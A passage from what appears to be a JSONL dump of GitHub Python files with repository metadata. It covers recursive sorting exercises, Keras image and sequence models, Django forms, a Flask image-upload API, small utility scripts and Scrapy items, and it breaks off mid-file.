> rightMax) else(rightMax)\n\ndef main():\n arr = [int(x) for x in input().split()]\n print(maxOfArray(arr))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#2. 최솟값 찾기\ndef minOfArray(arr):\n if len(arr)<=1 : \n return arr[0]\n\n mid = len(arr) // 2\n leftMin = minOfArray(arr[:mid])\n rightMin = minOfArray(arr[mid:])\n\n return leftMin if(leftMin < rightMin) else(rightMin)\n\ndef main():\n arr = [int(x) for x in input().split()]\n print(minOfArray(arr))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#3. 퀵 정렬 알고리즘\ndef quickSort(arr):\n if len(arr) <= 1:\n return arr\n\n pivot = arr[0]\n left = [];\n right = [];\n for i in range(1,len(arr)) :\n if arr[i] < pivot :\n left.append(arr[i])\n elif arr[i] > pivot :\n right.append(arr[i])\n else : \n left.append(arr[i])\n\n return quickSort(left) + [pivot] + quickSort(right)\n\n\ndef main():\n arr = [int(x) for x in input().split()]\n print(quickSort(arr))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#4. 합병 정렬 알고리즘\ndef mergeSort(arr):\n if len(arr) <= 1:\n return arr\n\n mid = len(arr) // 2\n left = mergeSort(arr[:mid])\n right = mergeSort(arr[mid:])\n #print(left,right,'a')\n\n leftMerge = mergeSort(left)\n rightMerge = mergeSort(right) \n #print(leftMerge,rightMerge,'b')\n \n return merge(leftMerge,rightMerge)\n\n\ndef merge(left, right):\n i=0\n j=0\n sortedList = []\n while i < len(left) and j < len(right) :\n if left[i] < right[j]:\n sortedList.append(left[i])\n i+=1\n else :\n sortedList.append(right[j])\n j+=1\n #print(sortedList,'c')\n\n #print(i,j,sortedList,'d')\n sortedList += left[i:]\n sortedList += right[j:]\n\n #print(sortedList,'e')\n return sortedList\n\n\ndef main():\n arr = [int(x) for x in input().split()]\n print(mergeSort(arr))\n\n\nif __name__ == \"__main__\":\n main()\n\n\n#5. 이진탐색\ndef binarySearch(arr, target):\n if len(arr) <= 1:\n # 탈출 조건을 작성해 주세요.\n return False\n \n # 핵심 기능을 작성해 주세요.\n mid = len(arr) // 2\n \n if arr[mid] == target:\n # arr[mid] 값이 target인 경우 무엇을 해야할까요?\n return True\n \n if arr[mid] < target:\n # arr[mid] 값이 target보다 작은 경우, newArr를 새롭게 설정해 주세요.\n newArr = arr[mid:]\n else:\n # arr[mid] 값이 target보다 큰 경우, newArr를 새롭게 설정해 주세요.\n newArr = arr[:mid]\n \n # 알맞은 매개변수와 함께 재귀 함수를 호출해 주세요.\n return binarySearch(newArr,target)\n\n\ndef main():\n arr = [int(x) for x in input().split()]\n target = int(input())\n \n print(binarySearch(arr, target))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"wonn23/algorithm-study","sub_path":"0321/0321es.py","file_name":"0321es.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9191479134","text":"# import the libraries\nfrom tensorflow import keras\n\nfrom tensorflow.keras import layers\nfrom tensorflow.keras import models\nfrom tensorflow.keras import optimizers\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\n# set the working directory (Make sure you have the data in your working directory under the same name)\ntrain_dir = './chest_xray/train'\nval_dir = './chest_xray/val'\n\n# rescale the data\ntrain_datagen = ImageDataGenerator(rescale=1./255)\nval_datagen = ImageDataGenerator(rescale=1./255)\n\n# get the data from the training directory\ntrain_generator = train_datagen.flow_from_directory(train_dir,\n target_size=(150, 150),\n batch_size=32,\n class_mode='binary',\n shuffle=True)\n# get the validation data from the validation directory\nvalidation_generator = val_datagen.flow_from_directory(val_dir,\n target_size=(150, 150),\n batch_size=32,\n class_mode='binary',\n shuffle=True)\n\n# create a function for training the model\ndef make_model(learning_rate=0.001, size_inner=64, droprate=0.0):\n \n ####################################################\n \n model = models.Sequential()\n model.add(layers.Conv2D(32, (3, 3), activation='relu',\n input_shape=(150, 150, 3)))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Flatten())\n model.add(layers.Dropout(droprate))\n model.add(layers.Dense(size_inner, activation='relu'))\n model.add(layers.Dense(1, activation='sigmoid'))\n \n ###################################################\n \n optimizer=keras.optimizers.SGD(learning_rate=learning_rate, momentum=0.8)\n loss='binary_crossentropy'\n model.compile(loss=loss,\n optimizer=optimizer,\n metrics=['acc'])\n return model\n\n# create the checkpoint to store the data with the highest accuracy\ncheckpoint = keras.callbacks.ModelCheckpoint(\n 'pneumonia-class_v1_{epoch:02d}_{val_acc:.3f}.h5',\n save_best_only=True,\n monitor='val_acc',\n mode='max',\n \n)\n\n# use the hyperparameters that achieve the highest performance\nlearning_rate = 0.001\ndroprate = 0.8\nsize = 100\n\nmodel = make_model(learning_rate=learning_rate,\n size_inner=size,\n droprate=droprate\n )\n \nhistory = model.fit(\n train_generator,\n epochs=10,\n validation_data=validation_generator,\n callbacks=[checkpoint]\n)\n\nmodel = keras.models.load_model('pneumonia-class_v1_03_0.938.h5')\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\n\ntflite_model = converter.convert()\n\nwith open('pneumonia-class.tflite', 'wb') as f_out:\n f_out.write(tflite_model)","repo_name":"sotoblanco/X-Ray-classification-model","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9613529191","text":"\"\"\"\nGiven an input string and a dictionary of words,\nfind out if the input string can be segmented into a space-separated sequence of\ndictionary words. See following\n\nexamples for more details.\nThis is a famous Google interview question, also being asked by many other companies\nnow a days.\nConsider the following dictionary\n{ i, like, sam, sung, samsung, mobile, ice,\n cream, icecream, man, go, mango}\n\nInput: ilike\nOutput: Yes\nThe string can be segmented as \"i like\".\n\nInput: ilikesamsung\nOutput: Yes\nThe string can be segmented as \"i like samsung\"\nor \"i like sam sung\".\n\nhttps://www.youtube.com/watch?v=RPeTFTKwjps\n\"\"\"\nfrom nose.tools import assert_true\n\n\ndef word_break(word, dict, i):\n if word[:i] in dict:\n return True\n if word[i-1:] in dict and word_break(word, dict, i-1):\n return True\n else:\n word_break(word, dict, i-1)\n\n\nif __name__ == \"__main__\":\n word_dict = {'i', 'like', 'sam', 'sung', 'samsung', 'mobile', 'ice', 'cream',\n 'icecream', 'man', 'go', 'mango'}\n word = \"ilike\"\n assert_true(word_break(word, word_dict, len(word)))\n","repo_name":"tahir24434/py-ds-algo","sub_path":"CodingInterviewProblems/DynamicProgramming/WIP_word_break.py","file_name":"WIP_word_break.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"70699277979","text":"from django import forms\n\nfrom .models import *\n\n\n\nclass ClientForm(forms.ModelForm):\n class Meta:\n model = ClientProfile\n fields = [\"first_name\", \"last_name\", \"email\", \"image\", \"phone_number\"]\n\n\n def __init__(self, *args, **kwargs):\n super(ClientForm,self).__init__(*args, **kwargs)\n\n for field in self.fields:\n self.fields[field].widget.attrs[\"class\"] = \"form-control\"\n\n\nclass AdressForm(forms.ModelForm):\n class Meta:\n model = Address\n fields = [\"country\", \"city\", \"street\", \"building\", \"floor\", \"appertment\", \"pochta_code\"]\n\n\n def __init__(self, *args, **kwargs):\n super(AdressForm,self).__init__(*args, **kwargs)\n\n for field in self.fields:\n self.fields[field].widget.attrs[\"class\"] = \"form-control\"\n\n\n# class OrderForm(forms.ModelForm):\n# class Meta:\n# model = Order\n# fields = [\"first_name\", \"last_name\", \"phone\", \"email\", \"address_line_1\", \"address_line_2\", \"country\", \"region\", \"city\", \"order_note\"]","repo_name":"AsliddinKamoliddinov2003/Django_online_dokon","sub_path":"profileapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"24490329312","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import rc\nfrom os import listdir\nfrom os.path import isfile, join\nimport csv\nimport matplotlib.ticker as ticker\nimport sys\n\n# ----------- params -----------\n\nif len(sys.argv) < 2:\n print(f\"./{sys.argv[0]} [target csv file]\")\n exit()\n\n# ----- styles -----\n\ncsfont = {'fontname': 'CMU Serif'}\nplt.rcParams[\"font.family\"] = \"CMU Serif\"\nplt.rcParams['axes.linewidth'] = 2.0\naxis_label_font_size = 18\naxis_ticks_font_size = 18\nlegend_font_size = 10\n\n# ----------- data ------------\n\n# ----- throughput -----\ndata = csv.reader(open(sys.argv[1], newline='',\n encoding='utf-16'), delimiter=',')\n\nx = []\ny = []\n\nfor row in data:\n x.append(float(row[0]))\n y.append(float(row[1]))\n\nf = plt.figure()\nf.set_figwidth(6)\nf.set_figheight(4)\n\nplt.plot(x, y)\nplt.xlabel('Seconds', **csfont, fontsize=axis_label_font_size)\nplt.ylabel('Throughput', **csfont, fontsize=axis_label_font_size)\nplt.grid(True, color='0.95')\n\nplt.savefig('netperf.png')\nplt.show()\n","repo_name":"usernet-paper-stubs/bench-automation","sub_path":"plot/netperf.throuput.py","file_name":"netperf.throuput.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26386464705","text":"\"\"\"Utils to set gear performance.\"\"\"\n\nimport logging\nimport os\n\nimport psutil\n\nlog = logging.getLogger(__name__)\n\n\ndef set_n_cpus(n_cpus):\n \"\"\"Set --n_cpus (number of threads) to pass to BIDS App.\n\n Use the given number unless it is too big. Use the max available if zero.\n\n The user may want to set these number to less than the maximum if using a\n shared compute resource.\n\n Args:\n n_cpus (int): number of cpus to use from config.json\n\n Returns:\n n_cpus (int) which will become part of the command line command\n \"\"\"\n os_cpu_count = os.cpu_count()\n log.info(\"os.cpu_count() = %d\", os_cpu_count)\n if n_cpus:\n if n_cpus > os_cpu_count:\n log.warning(\"n_cpus > number available, using max %d\", os_cpu_count)\n n_cpus = os_cpu_count\n else:\n log.info(\"n_cpus using %d from config\", n_cpus)\n else: # Default is to use all cpus available\n n_cpus = os_cpu_count # zoom zoom\n log.info(\"using n_cpus = %d (maximum available)\", os_cpu_count)\n\n return n_cpus\n\n\ndef set_mem_gb(mem_gb):\n \"\"\"Set --mem_gb (maximum memory to use) to pass to BIDS App.\n\n Use the given number unless it is too big. Use the max available if zero.\n\n The user may want to set these number to less than the maximum if using a\n shared compute resource.\n\n Args:\n mem_gb (float) number of GiB to use\n\n Returns:\n mem_gb (float) which will become part of the command line command\n \"\"\"\n # TO-DO: maybe we should modify \"set_mem_gb\" so that we never go above 90-95% of\n # the available mem in the system\n psutil_mem_gb = int(psutil.virtual_memory().available / (1024**3))\n log.info(f\"psutil.virtual_memory().available= {psutil_mem_gb:5.2f} GiB\")\n if mem_gb:\n if mem_gb > psutil_mem_gb:\n log.warning(\"mem_gb > number available, using max %d GiB\", psutil_mem_gb)\n mem_gb = psutil_mem_gb\n else:\n log.info(\"mem_gb using %d GiB from config\", mem_gb)\n else: # Default is to use all memory available\n mem_gb = psutil_mem_gb\n log.info(\"using mem_gb = %d GiB (maximum available)\", psutil_mem_gb)\n\n return mem_gb\n","repo_name":"Nialljb/fw-ants-vbm","sub_path":"utils/fly/set_performance_config.py","file_name":"set_performance_config.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"34437594349","text":"# Given a binary search tree with non-negative values, find the minimum absolute difference between values of any two nodes.\n# 找出任意两个节点之间的最小绝对差值\n# Example:\n#\n# Input:\n#\n# 1\n# \\\n# 3\n# /\n# 2\n#\n# Output:\n# 1\n#\n# Explanation:\n# The minimum absolute difference is 1, which is the difference between 2 and 1 (or between 2 and 3).\n#\n#\n# Note:\n#\n# There are at least two nodes in this BST.\n# This question is the same as 783: https://leetcode.com/problems/minimum-distance-between-bst-nodes/\n\n\n# 解法:利用BST的性质,其中序遍历为升序数组,遍历整个数组,对比当前节点与之前节点的绝对差值,取最小的即可。\nclass Solution:\n prev=None\n min_diff=sys.maxsize\n def getMinimumDifference(self, root: TreeNode) -> int:\n def dfs(node):\n if node is None:return\n dfs(node.left)\n if self.prev is not None:\n self.min_diff=min(self.min_diff,abs(node.val-self.prev))\n self.prev=node.val\n dfs(node.right)\n dfs(root)\n return self.min_diff\n","repo_name":"YLyeliang/now_leet_code_practice","sub_path":"tree/minimum_abs_diff_inBST.py","file_name":"minimum_abs_diff_inBST.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"13130031601","text":"import os\nimport uuid\n\nfrom flask import Blueprint, request, current_app\n\nfrom resized.helpers import json_api, get_redis_conn\nfrom resized.tasks import scale_image\n\n\nblueprint = Blueprint('api', __name__)\n\n\n@blueprint.route('/api/image', methods=['POST'])\n@json_api\ndef upload_image():\n app = current_app._get_current_object()\n r = get_redis_conn()\n token = uuid.uuid4().hex\n\n # Normalize\n f = request.files['file']\n if f.filename == '':\n return dict(success=False)\n\n # Save original file\n original_path = os.path.join(app.config['UPLOAD_ORIGINAL'], token)\n f.save(original_path)\n\n # Start job\n scaled_path = os.path.join(app.config['UPLOAD_SCALED'], token)\n scale_image.apply_async((original_path, scaled_path), task_id=token)\n\n # Cache\n r.hset('original', token, original_path)\n r.hset('scaled', token, scaled_path)\n\n return {\n 'success': True,\n 'token': token\n }\n\n\n@blueprint.route('/api/image/<token>', methods=['DELETE'])\ndef delete_image(token):\n r = get_redis_conn()\n\n for t in ('original', 'scaled'):\n path = r.hget(t, token)\n if not path:\n return 'not found', path\n try:\n os.remove(path)\n except OSError as e:\n return 'error' + e.msg\n\n r.hdel('original', token)\n\n return {'success': True}\n","repo_name":"bertinatto/resized","sub_path":"resized/views/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28766165080","text":"import torch\nfrom torch import nn\nimport numpy as np\n\nfrom typing import List, Dict\nfrom overrides import overrides\n\nfrom entities.model_checkpoint import ModelCheckpoint\nfrom entities.metric import Metric\nfrom entities.batch_representation import BatchRepresentation\nfrom entities.options.embedding_layer_options import EmbeddingLayerOptions\nfrom entities.options.pretrained_representations_options import PretrainedRepresentationsOptions\nfrom entities.data_output_log import DataOutputLog\n\nfrom enums.metric_type import MetricType\nfrom enums.embedding_type import EmbeddingType\n\nfrom models.model_base import ModelBase\n\nfrom services.arguments.postocr_arguments_service import PostOCRArgumentsService\nfrom services.data_service import DataService\nfrom services.tokenize.base_tokenize_service import BaseTokenizeService\nfrom services.metrics_service import MetricsService\nfrom services.log_service import LogService\nfrom services.vocabulary_service import VocabularyService\nfrom services.file_service import FileService\nfrom services.process.ocr_character_process_service import OCRCharacterProcessService\n\nfrom models.rnn_encoder_decoder.sequence_encoder import SequenceEncoder\nfrom models.rnn_encoder_decoder.sequence_decoder import SequenceDecoder\nfrom models.rnn_encoder_decoder.sequence_generator import SequenceGenerator\nfrom models.embedding.embedding_layer import EmbeddingLayer\n\nfrom torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence\n\n\nclass SequenceModel(ModelBase):\n def __init__(\n self,\n arguments_service: PostOCRArgumentsService,\n data_service: DataService,\n metrics_service: MetricsService,\n vocabulary_service: VocabularyService,\n file_service: FileService,\n process_service: OCRCharacterProcessService,\n log_service: LogService):\n super(SequenceModel, self).__init__(data_service, arguments_service)\n\n self._metrics_service = metrics_service\n self._vocabulary_service = vocabulary_service\n self._process_service = process_service\n self._log_service = log_service\n\n self._device = arguments_service.device\n self._metric_types = arguments_service.metric_types\n\n pretrained_options = PretrainedRepresentationsOptions(\n include_pretrained_model=arguments_service.include_pretrained_model,\n pretrained_max_length=arguments_service.pretrained_max_length,\n pretrained_model_size=arguments_service.pretrained_model_size,\n pretrained_weights=arguments_service.pretrained_weights,\n pretrained_model=arguments_service.pretrained_model,\n fine_tune_pretrained=arguments_service.fine_tune_pretrained,\n fine_tune_after_convergence=arguments_service.fine_tune_after_convergence,\n include_fasttext_model=arguments_service.include_fasttext_model,\n fasttext_model=arguments_service.fasttext_model,\n fasttext_model_size=arguments_service.fasttext_model_size)\n\n self._shared_embedding_layer = None\n if self._arguments_service.share_embedding_layer:\n embedding_layer_options = EmbeddingLayerOptions(\n device=self._device,\n pretrained_representations_options=pretrained_options,\n learn_character_embeddings=arguments_service.learn_new_embeddings,\n vocabulary_size=vocabulary_service.vocabulary_size(),\n character_embeddings_size=arguments_service.encoder_embedding_size,\n dropout=arguments_service.dropout,\n output_embedding_type=EmbeddingType.Character)\n\n self._shared_embedding_layer = EmbeddingLayer(\n file_service,\n embedding_layer_options)\n\n self._encoder = SequenceEncoder(\n file_service=file_service,\n device=self._device,\n pretrained_representations_options=pretrained_options,\n embedding_size=arguments_service.encoder_embedding_size,\n input_size=vocabulary_service.vocabulary_size(),\n hidden_dimension=arguments_service.hidden_dimension,\n number_of_layers=arguments_service.number_of_layers,\n dropout=arguments_service.dropout,\n learn_embeddings=arguments_service.learn_new_embeddings,\n bidirectional=arguments_service.bidirectional,\n use_own_embeddings=(\n not self._arguments_service.share_embedding_layer),\n shared_embedding_layer=self._shared_embedding_layer)\n\n self._decoder = SequenceDecoder(\n file_service=file_service,\n device=self._device,\n embedding_size=arguments_service.decoder_embedding_size,\n output_dimension=vocabulary_service.vocabulary_size(),\n attention_dimension=arguments_service.hidden_dimension,\n encoder_hidden_dimension=arguments_service.hidden_dimension,\n decoder_hidden_dimension=arguments_service.hidden_dimension * 2,\n number_of_layers=arguments_service.number_of_layers,\n vocabulary_size=self._vocabulary_service.vocabulary_size(),\n pad_idx=self._vocabulary_service.pad_token,\n dropout=arguments_service.dropout,\n use_own_embeddings=(\n not self._arguments_service.share_embedding_layer),\n shared_embedding_layer=self._shared_embedding_layer,\n use_beam_search=self._arguments_service.use_beam_search,\n beam_width=self._arguments_service.beam_width,\n eos_token=self._vocabulary_service.eos_token)\n\n self._generator = SequenceGenerator(\n hidden_size=arguments_service.hidden_dimension,\n vocab_size=vocabulary_service.vocabulary_size())\n\n self.apply(self.init_weights)\n\n self._dev_edit_distances: List[float] = []\n self.metric_log_key = 'Levenshtein distance improvement (%)'\n\n self._evaluation_mode = arguments_service.evaluate\n\n @staticmethod\n def init_weights(self):\n for name, param in self.named_parameters():\n nn.init.uniform_(param.data, -0.08, 0.08)\n\n @overrides\n def forward(self, input_batch: BatchRepresentation, debug=False, **kwargs):\n # last hidden state of the encoder is used as the initial hidden state of the decoder\n encoder_hidden, encoder_final = self._encoder.forward(input_batch)\n src_mask = input_batch.generate_mask(input_batch.character_sequences)\n\n predictions = None\n if not self.training:\n predictions = self._decode_predictions(src_mask, encoder_hidden, encoder_final, input_batch.targets.shape[1])\n\n outputs, _ = self._decoder.forward(\n input_batch.targets[:, :-1], # we remove the [EOS] tokens\n encoder_hidden,\n encoder_final,\n input_batch.generate_mask(input_batch.character_sequences))\n\n gen_outputs = self._generator.forward(outputs)\n\n return gen_outputs, input_batch.targets, predictions\n\n def _decode_predictions(self, src_mask, encoder_hidden, encoder_final, max_len=60):\n batch_size = src_mask.shape[0]\n prev_y = torch.ones(batch_size, 1, dtype=torch.long, device=encoder_hidden.device).fill_(self._vocabulary_service.cls_token)\n trg_mask = torch.ones_like(prev_y)\n\n output = [[] for _ in range(batch_size)]\n hidden = None\n\n for i in range(max_len):\n pre_output, hidden = self._decoder.forward(\n prev_y,\n encoder_hidden,\n encoder_final,\n src_mask,\n hidden)\n\n # we predict from the pre-output layer, which is\n # a combination of Decoder state, prev emb, and context\n prob = self._generator.forward(pre_output[:, -1])\n\n _, next_char = torch.max(prob, dim=1)\n for b in range(batch_size):\n output[b].append(next_char[b].data.item())\n\n prev_y = next_char.clone().detach().unsqueeze(-1)\n\n output = torch.tensor(output).to(encoder_hidden.device)\n\n return output\n\n @overrides\n def calculate_accuracies(self, batch: BatchRepresentation, outputs, output_characters=False) -> Dict[MetricType, float]:\n output, _, predictions = outputs\n\n if predictions is None:\n predictions = output.max(dim=2)[1]\n\n predictions = predictions.cpu().detach().numpy()\n\n targets = batch.targets[:, 1:].cpu().detach().numpy()\n predicted_characters = []\n target_characters = []\n\n for i in range(targets.shape[0]):\n indices = np.array(\n (targets[i] != self._vocabulary_service.pad_token), dtype=bool)\n\n target_characters.append(targets[i][indices])\n\n if predictions.shape[1] > targets.shape[1]:\n predicted_characters.append(predictions[i][:indices.shape[0]][indices])\n else:\n predicted_characters.append(predictions[i][indices])\n\n metrics = {}\n\n if MetricType.JaccardSimilarity in self._metric_types:\n predicted_tokens = [self._vocabulary_service.ids_to_string(\n x, exclude_special_tokens=True) for x in predicted_characters]\n target_tokens = [self._vocabulary_service.ids_to_string(\n x, exclude_special_tokens=True) for x in target_characters]\n jaccard_score = np.mean([self._metrics_service.calculate_jaccard_similarity(\n target_tokens[i], predicted_tokens[i]) for i in range(len(predicted_tokens))])\n\n metrics[MetricType.JaccardSimilarity] = jaccard_score\n\n output_log = None\n if MetricType.LevenshteinDistance in self._metric_types:\n predicted_strings = [self._vocabulary_service.ids_to_string(\n x) for x in predicted_characters]\n target_strings = [self._vocabulary_service.ids_to_string(\n x) for x in target_characters]\n\n levenshtein_distance = np.mean([self._metrics_service.calculate_normalized_levenshtein_distance(\n predicted_strings[i], target_strings[i]) for i in range(len(predicted_strings))])\n\n metrics[MetricType.LevenshteinDistance] = levenshtein_distance\n\n if not self.training:\n predicted_levenshtein_distances = [\n self._metrics_service.calculate_levenshtein_distance(\n predicted_string, target_string) for predicted_string, target_string in zip(predicted_strings, target_strings)\n ]\n self._dev_edit_distances.extend(\n predicted_levenshtein_distances)\n\n if output_characters:\n output_log = DataOutputLog()\n ocr_texts = batch.character_sequences.cpu().detach().tolist()\n for i in range(len(ocr_texts)):\n input_string = self._vocabulary_service.ids_to_string(\n ocr_texts[i])\n\n output_log.add_new_data(\n input_data=input_string,\n output_data=predicted_strings[i],\n true_data=target_strings[i])\n\n return metrics, output_log\n\n @overrides\n def optimizer_parameters(self):\n if not self._arguments_service.fine_tune_learning_rate:\n return self.parameters()\n\n embedding_layer = None\n if self._shared_embedding_layer is not None:\n embedding_layer = self._shared_embedding_layer\n else:\n embedding_layer = self._encoder._embedding_layer\n\n if not embedding_layer._include_pretrained:\n return self.parameters()\n\n pretrained_layer_parameters = embedding_layer._pretrained_layer.parameters()\n model_parameters = [\n param\n for param in self.parameters()\n if param not in pretrained_layer_parameters\n ]\n\n result = [\n {\n 'params': model_parameters\n },\n {\n 'params': pretrained_layer_parameters,\n 'lr': self._arguments_service.fine_tune_learning_rate\n }\n ]\n\n return result\n\n @overrides\n def calculate_evaluation_metrics(self) -> Dict[str, float]:\n if len(self._dev_edit_distances) == 0:\n return {}\n\n predicted_edit_sum = sum(self._dev_edit_distances)\n\n original_edit_sum = self._process_service.original_levenshtein_distance_sum\n\n improvement_percentage = (\n 1 - (float(predicted_edit_sum) / original_edit_sum)) * 100\n\n result = {\n self.metric_log_key: improvement_percentage\n }\n\n return result\n\n @overrides\n def finalize_batch_evaluation(self, is_new_best: bool):\n if is_new_best:\n predicted_histogram = np.histogram(\n self._dev_edit_distances, bins=100)\n self._log_service.log_summary(\n 'best-results-edit-distances-count', predicted_histogram[0])\n self._log_service.log_summary(\n 'best-results-edit-distances-bins', predicted_histogram[1])\n\n self._dev_edit_distances = []\n\n def before_load(self):\n if self._shared_embedding_layer is not None:\n self._encoder._embedding_layer = None\n self._decoder._embedding_layer = None\n\n def after_load(self):\n if self._shared_embedding_layer is not None:\n self._encoder._embedding_layer = self._shared_embedding_layer\n self._decoder._embedding_layer = self._shared_embedding_layer","repo_name":"ktodorov/eval-historical-texts","sub_path":"models/rnn_encoder_decoder/sequence_model.py","file_name":"sequence_model.py","file_ext":"py","file_size_in_byte":13646,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"28662309609","text":"\n\nfrom zoom import __version__\nfrom zoom.mvc import View\nfrom zoom.page import page\nfrom zoom.tools import load_content\nfrom zoom.browse import browse\nimport zoom.fields as f\nfrom zoom.validators import required\n\nimport widgets\n\nmy_form = f.Fields(\n f.Section('Personal', [\n f.TextField('Name', required, size=20, value='John Doe', hint='this is a hint'),\n f.MemoField('Notes', hint='this is a hint'),\n ]),\n f.Section('Social', [\n f.TextField('Twitter', size=15, value='jdoe', hint='optional'),\n ]),\n f.ButtonField('Save'),\n )\n\nsmall_form = f.Fields(\n f.TextField(\"Name\", size=20),\n f.TextField(\"Address\"),\n)\n\nclass MyView(View):\n \"\"\"main application view\"\"\"\n\n def index(self):\n site = self.model\n db = site.db\n\n cmd = 'select id, username, email, phone from users limit 10'\n data = browse(db(cmd)) + \\\n '<br>or in sortable form:' + browse(db(cmd), sortable=True)\n\n content = load_content(\n 'sample.md',\n data=data,\n name='a name',\n form1=my_form.edit(),\n form2=my_form.show(),\n form3=small_form.edit(),\n )\n return page(content)\n\n def widgets(self):\n return widgets.view()\n\n def about(self):\n return load_content('about.md', version=__version__)\n\n\ndef main(route, request):\n view = MyView(request.site)\n return view(*route, **request.data)\n","repo_name":"dsilabs/zoom","sub_path":"zoom/_assets/standard_apps/sample/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"12861198378","text":"filename = 'wordCount.txt'\nstring = 'I am a file whose word count is the result.'\n\ndef charSpaceCount(filename, charCount, spaceCount):\n fileLine = open(filename, 'r').read()\n\n for index in range(len(fileLine)-1):\n if fileLine[index] != ' ':\n charCount+=1\n else:\n spaceCount+=1\n\n return charCount, spaceCount\n\nappendString = 'The word count of the file '+ str(charSpaceCount(filename, 0, 0))\n\ntry:\n fileWrite = open(filename, 'w').write(string)\n open(filename, 'a').write(appendString)\nfinally:\n open(filename).close()","repo_name":"shubh13/MyPython","sub_path":"question4.py","file_name":"question4.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"22248687750","text":"# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# https://doc.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\nfrom scrapy.item import Field\n\n\nclass hfuuJobItem(scrapy.Item):\n # 序号\n id = Field()\n # 标题\n title = Field()\n # 阅读数\n pageview = Field()\n # 发布时间\n releaseTime = Field()\n # 文章链接\n url = Field()\n\n","repo_name":"2sheep2simple/getJobMessage","sub_path":"classwork/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29974082730","text":"import numpy as np\nimport json, os\n\nfrom collections import OrderedDict\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nimport keras\nfrom keras.layers import Bidirectional, LSTM, Conv1D, Dense, PReLU, MaxPool1D, Input, Embedding, TimeDistributed, \\\n BatchNormalization\nfrom keras.models import Model\nfrom keras.preprocessing.sequence import pad_sequences\nfrom sklearn.model_selection import train_test_split\n\nimport globals\nfrom dataset import read_draw, numbers_to_words, derivation_to_equation\nfrom template_parser import debug\nimport tensorflow as tf\n\nclass NBatchLogger(keras.callbacks.Callback):\n \"\"\"\n A Logger that log average performance per `display` steps.\n ref: https://github.com/keras-team/keras/issues/2850\n \"\"\"\n def __init__(self, display):\n self.step = 0\n self.display = display\n self.metric_cache = {}\n\n def on_batch_end(self, batch, logs={}):\n self.step += 1\n for k in self.params['metrics']:\n if k in logs:\n self.metric_cache[k] = self.metric_cache.get(k, 0) + logs[k]\n if self.step % self.display == 0:\n metrics_log = ''\n for (k, v) in self.metric_cache.items():\n val = v / self.display\n if abs(val) > 1e-3:\n metrics_log += ' - %s: %.4f' % (k, val)\n else:\n metrics_log += ' - %s: %.4e' % (k, val)\n print('step: {}/{} ... {}'.format(self.step,\n self.params['steps'],\n metrics_log))\n self.metric_cache.clear()\n\n\ndef load_glove(vocab):\n # ref: https://blog.keras.io/using-pre-trained-word-embeddings-in-a-keras-model.html\n GLOVE_DIR = 'glove.6B'\n EMBEDDING_DIM = 50#50\n MAX_SEQUENCE_LENGTH = 105\n vocab_size = len(vocab.keys())\n word_index = vocab_size\n\n embeddings_index = {}\n f = open(os.path.join(GLOVE_DIR, 'glove.6B.%dd.txt'%EMBEDDING_DIM))\n for line in f:\n values = line.split()\n word = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\n f.close()\n print('Found %s word vectors.' % len(embeddings_index))\n\n #embedding_matrix = np.zeros((len(word_index) + 1, EMBEDDING_DIM))\n embedding_matrix = np.zeros((vocab_size+1, EMBEDDING_DIM))\n\n #for word, i in word_index.items():\n for word, i in vocab.items():\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n # words not found in embedding index will be all-zeros.\n embedding_matrix[i] = embedding_vector\n\n from keras.layers import Embedding\n\n #embedding_layer = Embedding(len(word_index) + 1,\n embedding_layer = Embedding(vocab_size + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False)\n return embedding_layer\n\n\ndef feed_forward_rnn_model(input_shape, vocab_size):\n '''\n Deep neural network model to get F(x) which is to be fed to SPENs\n '''\n print(input_shape) # 105,\n print(vocab_size) # => 183\n print(keras.__version__)\n num_decoder_tokens = 9 # since the template vector has 9 elems\n inputs = Input(shape=input_shape)\n emb 